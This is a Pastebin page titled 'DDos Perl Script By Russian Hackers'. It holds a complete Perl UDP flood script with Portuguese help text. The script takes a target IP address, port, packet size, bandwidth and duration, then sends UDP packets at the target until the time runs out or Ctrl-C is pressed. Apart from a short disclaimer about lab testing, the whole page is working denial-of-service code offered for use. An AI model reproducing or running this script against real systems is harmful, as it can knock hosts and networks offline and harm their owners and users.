Advertisement
Russian_Hackers

DDos Perl Script By Russian Hackers

Mar 15th, 2015
2,224
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.77 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #####################################################
  3. # udp flood - Coded By Plastyne - Russian Hackers
  4. ######################################################
  5.  
  6. use Socket;
  7. use strict;
  8. use Getopt::Long;
  9. use Time::HiRes qw( usleep gettimeofday ) ;
  10.  
  11. our $port = 0;
  12. our $size = 0;
  13. our $time = 0;
  14. our $bw   = 0;
  15. our $help = 0;
  16. our $delay= 0;
  17.  
  18. GetOptions(
  19.     "port=i" => \$port,     # UDP port to use, numeric, 0=random
  20.     "size=i" => \$size,     # packet size, number, 0=random
  21.     "bandwidth=i" => \$bw,      # bandwidth to consume
  22.     "time=i" => \$time,     # time to run
  23.     "delay=f"=> \$delay,        # inter-packet delay
  24.     "help|?" => \$help);        # help
  25.    
  26.  
  27. my ($ip) = @ARGV;
  28.  
  29. if ($help || !$ip) {
  30.   print <<'EOL';
  31. flood.pl --port=dst-port --size=pkt-size --time=secs
  32.          --bandwidth=kbps --delay=msec ip-address
  33. _______________________________________________________________________________________________|=>
  34. Padrões:
  35.    * Portas UDP destino aleatório são utilizados a menos que seja especificado --port
  36.    * Pacotes de tamanho aleatório são enviados a menos --size ou --bandwidth é especificado
  37.    * Inundação é contínua, a menos que seja especificado --time
  38.    * Inundação é enviado a uma velocidade de linha, a menos que --delay --bandwidth ou é especificado
  39. _______________________________________________________________________________________________|=>
  40. Recomendações de uso:
  41.    parâmetro --size é ignorado se tanto o --bandwidth eo --delay
  42.      os parâmetros são especificados.
  43. _______________________________________________________________________________________________|=>
  44.    O tamanho de pacote é ajustado para 256 bytes, se o parâmetro é utilizado --bandwidth
  45.      sem o parâmetro --size
  46. _______________________________________________________________________________________________|=>
  47.    O tamanho do pacote especificado é o tamanho do datagrama IP (IP e incluindo
  48.    Cabeçalhos UDP). Tamanhos de pacotes de interface pode variar devido a camada 2 encapsulamento.
  49. _______________________________________________________________________________________________|=>
  50. Avisos e Isenções:
  51.    Inundações hosts ou redes de terceiros é comumente considerada uma atividade criminosa.
  52.    Inundando suas próprias máquinas ou redes geralmente é uma má idéia
  53.    Soluções de inundação Superior performace deve ser usado para testes de esforço / desempenho
  54.    Use principalmente em ambientes de laboratório para testes de DoS
  55. _______________________________________________________________________________________________|=>
  56. EOL
  57.   exit(1);
  58. }
  59.  
  60. if ($bw && $delay) {
  61.   print "AVISO: calculado tamanho do pacote substitui o parâmetro --size ignorado\n";
  62.   $size = int($bw * $delay / 8);
  63. } elsif ($bw) {
  64.   $delay = (8 * $size) / $bw;
  65. }
  66.  
  67. $size = 256 if $bw && !$size;
  68.  
  69. ($bw = int($size / $delay * 8)) if ($delay && $size);
  70.  
  71. my ($iaddr,$endtime,$psize,$pport);
  72. $iaddr = inet_aton("$ip") or die "Não pode resolver o nome do host $ip\n";
  73. $endtime = time() + ($time ? $time : 1000000);
  74. socket(flood, PF_INET, SOCK_DGRAM, 17);
  75.  
  76. print "Pacotando $ip " . ($port ? $port : "acaso") . " porta com " .
  77.   ($size ? "$size-byte" : "tamanho aleatório") . " pacotes" . ($time ? " for $time seconds" : "") . "\n";
  78. print "atraso interpacket $delay msec\n" if $delay;
  79. print "total IP bandwidth $bw kbps\n" if $bw;
  80. print "para parar o ataque pressione o Ctrl-C\n" unless $time;
  81.  
  82. die "Invalid packet size requested: $size\n" if $size && ($size < 64 || $size > 1500);
  83. $size -= 28 if $size;
  84. for (;time() <= $endtime;) {
  85.   $psize = $size ? $size : int(rand(1024-64)+64) ;
  86.   $pport = $port ? $port : int(rand(65500))+1;
  87.  
  88.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  89.   usleep(1000 * $delay) if $delay;
  90. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement